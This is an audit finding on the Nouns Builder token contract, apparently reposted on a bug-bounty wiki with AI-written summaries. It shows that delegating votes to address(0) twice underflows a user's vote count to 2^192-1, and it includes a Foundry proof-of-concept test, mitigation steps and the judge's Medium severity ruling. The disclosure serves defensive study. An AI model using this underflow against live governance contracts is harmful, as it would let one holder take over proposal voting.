Delegation should not be allowed to address(0)
If a user delegates their voting power to the zero address, the vote count for that user is incorrectly reduced, and a second delegation causes an underflow that sets their votes to a huge number. An attacker could exploit this to gain an enormous amount of voting power.
Submitted by davidbrai, also found by bin2chen, Ch_301, Chom, cryptphi, pashov, and PwnPatrol
Assuming an existing bug in the _delegate function is fixed (see my previous issue submission titled ”Delegating votes leaves the token owner with votes while giving the delegate additional votes”):
if a user delegates to address(0) that vote gets lost.
Proof of Concept
Assuming the _delegate function gets patched by changing:
address prevDelegate = delegation[_from];
to
address prevDelegate = delegates(_from);
The steps to be taken:
- User (U) gets one NFT (e.g by winning the auction) a. votes(U) = 1
- U delegates to address(0) // prevDelegate is U, so votes(U)— a. votes(U) = 0, votes(address(0)) = 0
- U delegates to address(0) // prevDelegate is U, so votes(U)— a. votes(U) = 2^192 - 1
Below is a forge test showing the issue:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";
import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol";
contract TokenTest is NounsBuilderTest, TokenTypesV1 {
address user1 = address(0x1001);
address delegate1 = address(0x2001);
address delegate2 = address(0x2002);
function setUp() public virtual override {
super.setUp();
vm.label(user1, "user1");
vm.label(delegate1, "delegate1");
deployMock();
}
function setMockFounderParams() internal virtual override {
address[] memory wallets = new address[](1);
uint256[] memory percents = new uint256[](1);
uint256[] memory vestingEnds = new uint256[](1);
wallets[0] = founder;
percents[0] = 0;
vestingEnds[0] = 4 weeks;
setFounderParams(wallets, percents, vestingEnds);
}
function test_pown2() public {
// user1 gets one token
vm.startPrank(address(auction));
token.mint();
token.transferFrom(address(auction), user1, 0);
vm.stopPrank();
// user1 has 1 token & 1 vote
assertEq(token.balanceOf(user1), 1);
assertEq(token.getVotes(user1), 1);
vm.prank(user1);
token.delegate(address(0));
assertEq(token.getVotes(user1), 0);
vm.prank(user1);
token.delegate(address(0));
assertEq(token.getVotes(user1), type(uint192).max);
}
}
Recommended Mitigation Steps
Either:
- Don’t allow delegation to address(0) by adding a check or
- If someone tries to delegate to address(0), delegate to the NFT owner instead
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
The Warden has shown how, due to incorrect accounting, the delegation of voting power to the address(0) will permanently burn that voting power.
Because this is contingent on the owner performing the delegation, I believe Medium Severity to be more appropriate.
tbtstl (Nouns Builder) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
A user could gain an enormous amount of voting power, potentially allowing them to pass proposals single-handedly.
What the attacker needed
User owns at least one NFT; User can call delegate function
The fix
The fix should either prevent delegation to the zero address or redirect such delegation to the NFT owner.
How it was found
- User obtains one NFT, giving them one vote.
- User delegates to the zero address, reducing their votes to zero.
- User delegates to the zero address again, causing their votes to become a huge number.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this system, users can give their voting power to someone else. If they give it to the special zero address (which cannot receive votes), the system makes a mistake: it subtracts votes from the user but does not add them anywhere. Doing this twice causes the vote count to wrap around to a very large number, giving the user far more votes than they should have.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.